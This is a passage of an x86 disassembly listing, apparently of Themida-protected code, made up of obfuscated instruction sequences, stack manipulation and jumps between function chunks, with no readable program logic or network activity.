var_8 = dword ptr -8
; FUNCTION CHUNK AT 0055EFAE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561223 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00561F7B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005624ED SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00562C39 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00565F60 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005686BA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568A38 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00569F13 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C7BF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056ECD2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056ED04 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056EE2E SIZE 00000006 BYTES
push ebx
push ecx
jmp loc_56ED04
sub_56CEC8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_56CECF: ; CODE XREF: sub_562F62-7378j
pop dword ptr [esp+0]
pop esp
push edx
mov edx, 4B7C7F6Fh
or edx, 36F56D5Bh
not edx
xchg ecx, edx
push ecx
jmp loc_5670C0
; END OF FUNCTION CHUNK FOR sub_562F62
; =============== S U B R O U T I N E =======================================
sub_56CEE9 proc near ; CODE XREF: sub_56755A+52DCj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055C158 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C4F2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055CA7D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055D764 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056069A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00560A84 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056186F SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00561ADC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00561B0E SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00563EDE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00564E56 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568E2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569C59 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EA00 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F71C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FC8E SIZE 00000020 BYTES
sub esp, 4
mov [esp-4+arg_0], ebp
jmp loc_56F71C
sub_56CEE9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56CEF4: ; CODE XREF: Themida_:0055F753j
add ebx, 0E633B2BBh
push ebx
pop edi
pop ebx
shr edi, 8
push edx
mov edx, 0
sub edx, edi
jmp loc_55C8F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56CF0D: ; CODE XREF: sub_5635DE+1D5Bj
pop ebp
jmp loc_5638F4
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CF13: ; CODE XREF: sub_56755A-9C7Fj
xchg esi, [esp+12h+var_14+2]
jmp loc_5662AD
; ---------------------------------------------------------------------------
loc_56CF1B: ; CODE XREF: sub_56755A+1CFCj
add esp, 4
sub ebx, 2D077BF5h
sub ebx, edi
add ebx, 2D077BF5h
jmp loc_55D149
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56CF34: ; CODE XREF: Themida_:00560DE6j
mov [esp], bp
mov bp, 7027h
sub si, bp
pop bp
sub si, 3F92h
add si, cx
push di
jmp loc_564FA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_56CF50: ; CODE XREF: sub_565269+9C31j
push ecx
jmp loc_5613D5
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_56CF56: ; CODE XREF: sub_56D600-BF03j
mov ah, 8
or dh, ah
pop eax
jmp loc_5620E1
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
loc_56CF60: ; CODE XREF: Themida_:005651FAj
sub esp, 4
jmp loc_55F77D
; ---------------------------------------------------------------------------
loc_56CF6B: ; CODE XREF: Themida_:0055EBEAj
mov ebp, [esp]
add esp, 4
jmp loc_561F69
; ---------------------------------------------------------------------------
loc_56CF79: ; CODE XREF: Themida_:00561086j
push ecx
jmp loc_561789
; ---------------------------------------------------------------------------
loc_56CF7F: ; CODE XREF: Themida_:00562578j
push 3CA6h
mov [esp], ebx
mov ebx, esp
jmp loc_567B26
; ---------------------------------------------------------------------------
loc_56CF8E: ; CODE XREF: Themida_:0056345Aj
push ebp
xor dword ptr [esp], 2BD12D6Dh
mov eax, [esp]
add esp, 4
xor eax, 2BD12D6Dh
jmp loc_56E25A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56CFA9: ; CODE XREF: sub_56CB7D-F37Fj
sub ecx, 5ACA1A14h
push [esp+0Ch+var_C]
pop ebp
add esp, 4
xchg ecx, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_560B9F
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_56CFC4: ; CODE XREF: Themida_:0056DBBAj
and ebp, 243C5F10h
dec ebp
sub ebp, 1C09FDh
sub ebx, 369371F8h
add ebx, ebp
add ebx, 369371F8h
pop ebp
jmp loc_55F9B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56CFE5: ; CODE XREF: sub_56E89A-9BC7j
sub edi, 43F4244Fh
push ecx
push ebp
mov ebp, 0
jmp loc_56B2D4
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56CFF7: ; CODE XREF: sub_56F7FC-42F9j
add esp, 4
add eax, 239902DCh
or eax, eax
jnz loc_56066E
push ecx
jmp loc_562989
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56D00D: ; CODE XREF: Themida_:00564711j
mov ebp, 1A6E607Dh
sub ebp, 0C116147Ch
add ebx, 689E1C51h
jmp loc_5647E4
; ---------------------------------------------------------------------------
loc_56D023: ; CODE XREF: Themida_:00560B9Aj
mov ebp, 9A9770Eh
and ebx, ebp
mov ebp, [esp]
add esp, 4
inc ebx
jmp loc_56937A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D039: ; CODE XREF: sub_56755A+3D00j
xor ecx, [esp+0Ch+var_C]
jmp loc_566482
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D041: ; CODE XREF: Themida_:00566F5Dj
pop ebx
jmp loc_5663FA
; ---------------------------------------------------------------------------
loc_56D047: ; CODE XREF: Themida_:00569822j
mov [esp], ebp
push ebx
mov ebx, 563F001Ch
or ebx, 3F1048CCh
jmp loc_567387
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_56D05B: ; CODE XREF: sub_568470+64Ej
push 4396h
mov [esp-1Ch+arg_18], eax
mov eax, 4
add ebx, eax
pop eax
add ebx, 4
jmp loc_55C118
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D073: ; CODE XREF: sub_56755A+2EEAj
add ebx, 1ACE1A5Ch
pop eax
jmp loc_5687E7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D07F: ; CODE XREF: Themida_:0055C145j
mov edi, 3E331DC7h
jmp loc_564788
; ---------------------------------------------------------------------------
loc_56D089: ; CODE XREF: Themida_:00569B36j
inc esi
jmp loc_55B610
; ---------------------------------------------------------------------------
loc_56D08F: ; CODE XREF: Themida_:0055F76Ej
add ebp, esi
jmp loc_56A01D
; ---------------------------------------------------------------------------
loc_56D096: ; CODE XREF: Themida_:0055C7A1j
sub esp, 4
mov [esp], ebx
mov bl, 0D0h
sub bl, 36h
push eax
jmp loc_563CA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C64C
loc_56D0A7: ; CODE XREF: sub_56C64C+Ej
xor dh, 55h
jmp loc_55BAB8
; END OF FUNCTION CHUNK FOR sub_56C64C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D0AF: ; CODE XREF: sub_56755A-3745j
and eax, edi
mov edi, [esp+28h+var_28]
add esp, 4
or eax, eax
jnz sub_569E65
push ecx
mov ecx, 119B3EB6h
push esi
mov esi, 4D847236h
not esi
jmp loc_57071F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56D0DA: ; CODE XREF: Themida_:0056E0F3j
push eax
mov al, dl
push ebx
jmp loc_569E48
; ---------------------------------------------------------------------------
loc_56D0E3: ; CODE XREF: Themida_:0056EB27j
pop eax
shr edx, 3
dec edx
and edx, 42376EB9h
and edx, 7C47583Ah
push ebp
mov ebp, 35E00C9Fh
xor ebp, 2D7842EAh
sub edx, 0C9823A6h
sub edx, ebp
add edx, 0C9823A6h
pop ebp
xor edx, 0BC7BF972h
or edx, 0C7143Ah
xor edx, 1D624635h
dec edx
and edx, 582942EDh
jmp loc_565BE5
; ---------------------------------------------------------------------------
loc_56D12D: ; CODE XREF: Themida_:005610A9j
xchg edx, esi
push ebp
mov ebp, 1
add esi, ebp
pop ebp
shr esi, 2
or esi, 4EA016E2h
inc esi
jmp loc_56984F
; ---------------------------------------------------------------------------
loc_56D147: ; CODE XREF: Themida_:0056FAE3j
sub ecx, 69EE0CC9h
add ecx, 0DDD4BF3h
pop esi
xchg ecx, [esp]
mov esp, [esp]
sar word ptr [esp], cl
pushf
jmp loc_55B555
; =============== S U B R O U T I N E =======================================
sub_56D164 proc near ; CODE XREF: sub_56755A+1E46j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055BEE1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D5FC SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055D941 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056155F SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00564132 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565356 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00566D69 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056751C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005699D1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569E21 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056B95E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D438 SIZE 0000001A BYTES
push ebx
mov ebx, 2DF6023Ch
xor eax, ebx
pop ebx
sub ebx, eax
mov eax, [esp+0]
add esp, 4
jmp loc_55D5FC
sub_56D164 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D17D: ; CODE XREF: sub_56755A-AA0Ej
add esp, 4
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
push 2637h
mov [esp+8+var_8], ebx
push 1
push [esp+0Ch+var_C]
jmp loc_56A91F
; ---------------------------------------------------------------------------
loc_56D1A7: ; CODE XREF: sub_56755A+4A5j
xchg edi, [esp+16h+var_18+2]
jmp loc_56362A
; ---------------------------------------------------------------------------
loc_56D1AF: ; CODE XREF: sub_56755A+4FE8j
mov edx, 262A5FBEh
sub edx, 71900F77h
add edx, 9BB8FB9Ah
add eax, 25065A2Ch
sub eax, edx
push ecx
mov ecx, 25065A2Ch
jmp loc_56CC4E
; ---------------------------------------------------------------------------
loc_56D1D2: ; CODE XREF: sub_56755A+2CEBj
push [esp-14h+arg_10]
pop eax
add esp, 4
add esp, 4
and eax, edi
mov edi, [esp-1Ch+arg_18]
push 3D0Ch
mov [esp-18h+arg_14], eax
push esp
pop eax
jmp loc_55D87A
; ---------------------------------------------------------------------------
loc_56D1F0: ; CODE XREF: sub_56755A-313Fj
mov ecx, 28996046h
not ecx
xchg ebx, ecx
not ebx
push ecx
push ebx
pop ecx
pop ebx
shl ecx, 1
or ecx, 52252F33h
push eax
mov eax, 584C3E8Eh
jmp loc_567646
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560184
loc_56D212: ; CODE XREF: sub_560184+9j
add ebx, 4
xchg ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
add eax, 44167346h
push ebx
mov ebx, 48571854h
jmp loc_567F58
; END OF FUNCTION CHUNK FOR sub_560184
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D22E: ; CODE XREF: sub_56755A+8459j
add ebx, ecx
pop ecx
sub ebx, eax
jmp loc_56AD0F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D238: ; CODE XREF: Themida_:00562854j
sub ebp, 2
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_56D84B
; ---------------------------------------------------------------------------
loc_56D24E: ; CODE XREF: Themida_:0056BAA4j
mov edx, esp
add edx, 4
jmp loc_5612F7
; ---------------------------------------------------------------------------
loc_56D25B: ; CODE XREF: Themida_:0056DC4Cj
dec esi
not esi
push ebp
push 8A6ACDC2h
mov ebp, [esp]
add esp, 4
xor esi, ebp
pop ebp
add edx, esi
pop esi
add edx, 2
xchg edx, [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_56D286: ; CODE XREF: sub_56667A+2AB2j
add eax, 3B25210Ah
add ebx, eax
mov eax, [esp+0]
add esp, 4
sub ebx, 2E1829ECh
add ebx, 49A40740h
sub ebx, eax
sub ebx, 49A40740h
push edx
jmp loc_55F2CF
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
loc_56D2AD: ; CODE XREF: Themida_:0055B65Fj
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_569A33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D2C0: ; CODE XREF: sub_56755A-AC32j
push 68844F13h
jmp loc_563DA0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_56D2CA: ; CODE XREF: sub_560B67+290j
mov ebp, 0C8D5405h
push eax
mov eax, 43A90EF8h
xor ebp, eax
pop eax
shl ebp, 5
sub ebp, 0A8112D54h
xor edx, ebp
pop ebp
xchg ebx, edx
neg ebx
xchg ebx, edx
xor edx, 99578495h
add esi, edx
mov edx, [esp+4+var_4]
add esp, 4
sub esi, 4
jmp loc_565BFD
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
loc_56D303: ; CODE XREF: Themida_:0056CAD3j
or eax, ecx
pop ecx
add eax, 6CB21900h
sub eax, 687195B9h
jmp loc_56ECAD
; ---------------------------------------------------------------------------
loc_56D315: ; CODE XREF: Themida_:005689F4j
mov [esp], esi
sub esp, 4
push esp
pop dword ptr [esp]
push edi
mov edi, 55021515h
push esi
jmp loc_56D48B
; ---------------------------------------------------------------------------
loc_56D32E: ; CODE XREF: Themida_:0056753Fj
add esi, ebp
jmp loc_569FC3
; ---------------------------------------------------------------------------
loc_56D335: ; CODE XREF: Themida_:0056E4C6j
xor ebp, 3D765Dh
add ebp, 0FFFFFFFFh
push esi
mov esi, 62D68D7h
not esi
xor esi, 9BDCC175h
sub ebp, esi
pop esi
neg ebp
xor ebp, 0F3B655B5h
add edi, ebp
pop ebp
xchg edi, [esp]
pop esp
jmp loc_560E32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D363: ; CODE XREF: sub_56755A+83BAj
pop ecx
add al, 0FEh
add al, 5Bh
sub al, bl
jmp loc_569700
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D36F: ; CODE XREF: Themida_:0056AED7j
mov ebx, esp
jmp loc_567761
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D376: ; CODE XREF: sub_56755A+137j
or edx, eax
mov eax, [esp+26h+var_28+2]
add esp, 4
push edx
add [esp+26h+var_28+2], 0FFFFFFFFh
pop edx
push edi
mov edi, 31C430BDh
not edi
add edi, 41563585h
add edx, edi
pop edi
neg edx
neg edx
sub edx, 7F84643Dh
add edi, edx
jmp loc_56E1D8
; ---------------------------------------------------------------------------
loc_56D3AC: ; CODE XREF: sub_56755A+310Fj
pop ebx
push ecx
push edx
push ecx
mov ch, 92h
not ch
add ch, 0FFh
neg ch
sub ch, 58h
neg ch
jmp loc_56F978
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_56D3C3: ; CODE XREF: sub_56AE72+4AB3j
shr ecx, 5
push edx
jmp loc_5678AE
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
loc_56D3CC: ; CODE XREF: Themida_:0055B774j
sub ch, dl
sub ch, 0D4h
jmp loc_5629BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EBD2
loc_56D3D6: ; CODE XREF: sub_56EBD2-C9Cj
xchg edi, [esp+0Ch+var_C]
jmp loc_55F83D
; END OF FUNCTION CHUNK FOR sub_56EBD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_56D3DE: ; CODE XREF: sub_56EAA9+7j
neg ebx
xor ebx, 1DCA3C6Ch
or ebx, 70BC7AE5h
jmp loc_55BD76
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D3F1: ; CODE XREF: sub_56755A-77ECj
add esp, 4
not ecx
sub ecx, 0CEF60105h
jmp loc_56D767
; ---------------------------------------------------------------------------
loc_56D404: ; CODE XREF: sub_56755A-3F11j
pop ebx
add edx, ecx
jmp loc_5700F2
; ---------------------------------------------------------------------------
loc_56D40C: ; CODE XREF: sub_56755A-6FA9j
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_56F153
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_56D41B: ; CODE XREF: sub_56B62C-9759j
push [esp+4+var_4]
pop edx
add esp, 4
jmp loc_5678D9
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_56D427: ; CODE XREF: Themida_:0056E7DCj
push dword ptr [esp+4]
pop ebp
jmp loc_55E0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_56D431: ; CODE XREF: sub_56CD48-BA01j
add ebp, ebx
jmp loc_56789C
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_56D438: ; CODE XREF: sub_56D164-3790j
push esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 3896586Eh
or ebx, 3421493Fh
jmp loc_566D69
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_56D452: ; CODE XREF: Themida_:0056C9AAj
dec dword ptr [esp]
pop ecx
push edi
mov edi, 5BEF38FAh
xor edi, 580D7E4Ch
shl edi, 8
neg edi
dec edi
sub edi, 6F8DA3C2h
add ecx, edi
pop edi
sub eax, 6BFF6D51h
sub eax, 7D2F1C5Eh
jmp loc_56AAAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_56D480: ; CODE XREF: sub_5615A9+D54Fj
mov [esp+0], ecx
mov cl, 5Fh
push ecx
jmp loc_564720
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_56D48B: ; CODE XREF: Themida_:0056D329j
mov esi, 47E31C24h
sub edi, esi
jmp loc_55D88C
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_56E20D
; ---------------------------------------------------------------------------
loc_56D4A0: ; CODE XREF: Themida_:00568C13j
add ebx, ecx
pop ecx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56D4B4: ; CODE XREF: Themida_:0056A4AAj
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov [esp], edi
jmp loc_564648
; ---------------------------------------------------------------------------
loc_56D4C5: ; CODE XREF: Themida_:00566A6Dj
mov cl, 0BFh
neg cl
dec cl
jmp loc_55CC30
; ---------------------------------------------------------------------------
loc_56D4D0: ; CODE XREF: Themida_:00565302j
add eax, 66F06647h
sub eax, 2E5F405Eh
sub eax, 5BF951A4h
pop ebp
sub eax, edi
push 19CBh
mov [esp], edx
jmp loc_56F272
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D4EF: ; CODE XREF: sub_56755A-8495j
add esp, 4
or ebx, 1BAE29D2h
sub ebx, 0F85A4E5Ch
add eax, ebx
pop ebx
push [esp+1Ch+var_1C]
pop ebp
add esp, 4
add eax, 4
xchg eax, [esp+18h+var_18]
pop esp
push edi
push esp
mov edi, [esp+1Ch+var_1C]
jmp loc_56A180
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D521: ; CODE XREF: Themida_:0056688Fj
pop esp
push esi
jmp loc_55C6EF
; ---------------------------------------------------------------------------
loc_56D528: ; CODE XREF: Themida_:00569077j
mov ebp, [esp]
jmp loc_55DBA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_56D530: ; CODE XREF: sub_56026A-339Fj
pop eax
add edi, 4
jmp loc_56FBD9
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FFC1
loc_56D539: ; CODE XREF: sub_55FFC1+1Cj
add esp, 4
add ecx, ebx
push 46B8h
mov [esp+4+var_4], ebx
jmp loc_56A7C6
; END OF FUNCTION CHUNK FOR sub_55FFC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_56D54B: ; CODE XREF: sub_56E55E-123DCj
mov edi, 0B4AB565Dh
push edi
mov edi, 705470Ch
jmp loc_5657A2
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_56D55B: ; CODE XREF: sub_56CB1B-E71Fj
sub edi, edx
sub edi, 31A337DFh
mov edx, [esp+8+var_8]
jmp loc_561C1E
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D56B: ; CODE XREF: sub_56755A+658Aj
or edx, 789D42EAh
jmp loc_56F429
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5702DD
loc_56D576: ; CODE XREF: sub_5702DD-C1C7j
add eax, 0B5342001h
jmp loc_560693
; END OF FUNCTION CHUNK FOR sub_5702DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B812
loc_56D580: ; CODE XREF: sub_56B812-F5B3j
pop esp
sub ebp, 1A3B0097h
mov eax, [esp+10h+var_10]
add esp, 4
jmp loc_568B2E
; END OF FUNCTION CHUNK FOR sub_56B812
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F5D6
loc_56D595: ; CODE XREF: sub_55F5D6+6j
mov [esp+4+var_4], ebx
push dword ptr [esp+4]
push [esp+8+var_8]
pop ebx
add esp, 4
pop [esp+4+var_4]
jmp loc_560B48
; END OF FUNCTION CHUNK FOR sub_55F5D6
; =============== S U B R O U T I N E =======================================
sub_56D5AE proc near ; CODE XREF: sub_56F13C-3AAj
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055B72B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BF2E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055DF54 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00562EA8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00568DCD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569E9E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DC51 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056ED39 SIZE 00000016 BYTES
push ebx
mov ebx, 456024BDh
shl ebx, 2
or ebx, 76145F54h
xor ebx, 3085950h
jmp loc_56ED39
sub_56D5AE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D5C8: ; CODE XREF: sub_56755A-6493j
xchg esi, [esp+1Eh+var_20+2]
pop esp
jmp loc_55F50F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D5D1: ; CODE XREF: Themida_:005653C2j
sub ebx, 607943E0h
jmp loc_562B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565F9F
loc_56D5DC: ; CODE XREF: sub_565F9F+4A9Cj
bswap eax
push 19Ah
mov [esp-4+arg_0], edx
push 224Fh
mov [esp+0], esp
add dword ptr [esp+0], 4
mov edx, [esp+0]
add esp, 4
jmp sub_566C65
; END OF FUNCTION CHUNK FOR sub_565F9F
; =============== S U B R O U T I N E =======================================
sub_56D600 proc near ; CODE XREF: sub_56755A-B3F4j
var_2 = byte ptr -2
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055CE77 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055E4CA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055FACC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005616F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005620E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563DC9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00565B47 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005673AD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056B7FB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CF56 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E521 SIZE 00000008 BYTES
push bx
jmp loc_56E521
sub_56D600 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56D607: ; CODE XREF: Themida_:0055F044j
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_564B2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D617: ; CODE XREF: sub_56755A+5D8j
mov ebx, [esp+1Ch+var_1C]
jmp loc_56B578
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56D61F: ; CODE XREF: sub_5635DE-318Ej
sub edx, eax
pop eax
sub esi, 2B163D95h
jmp loc_56991B
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
loc_56D62D: ; CODE XREF: Themida_:00570144j
and esi, edx
pop edx
neg esi
push ebx
push ecx
push 9C6611Fh
jmp loc_5653D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D63E: ; CODE XREF: sub_56755A+4B36j
push esp
mov edi, [esp+14h+var_14]
add esp, 4
push ebp
jmp loc_55F94F
; ---------------------------------------------------------------------------
loc_56D64E: ; CODE XREF: sub_56755A+3525j
xor eax, ecx
sub esp, 4
mov [esp+1Ah+var_1C+2], eax
jmp loc_55E38A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B25
loc_56D65B: ; CODE XREF: sub_565B25+3EC8j
pop ebp
shl ebx, 3
xor ebx, 1BDB7EEBh
add ebx, 50032942h
dec ebx
xor ebx, 3B5B0888h
add ebx, 499E0608h
mov ebp, ebx
pop ebx
add edx, ebp
pop ebp
sub ebx, 68F81744h
sub ebx, edx
add ebx, 68F81744h
pop edx
jmp loc_561528
; END OF FUNCTION CHUNK FOR sub_565B25
; ---------------------------------------------------------------------------
loc_56D692: ; CODE XREF: Themida_:00561517j
sub [esp], ebp
pop ebp
add ebp, 0FFFFFFFFh
jmp loc_565D4E
; ---------------------------------------------------------------------------
loc_56D69E: ; CODE XREF: Themida_:0056B3C5j
sub ecx, 0A76D27A7h
mov edi, ecx
pop ecx
neg edi
xor edi, 7B763CA5h
or edi, 49F412B3h
sub edi, 5F001150h
add edi, 8D3AF8E1h
jmp loc_55B6A7
; ---------------------------------------------------------------------------
loc_56D6C6: ; CODE XREF: Themida_:0055DCA0j
add esp, 4
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_56B3E9
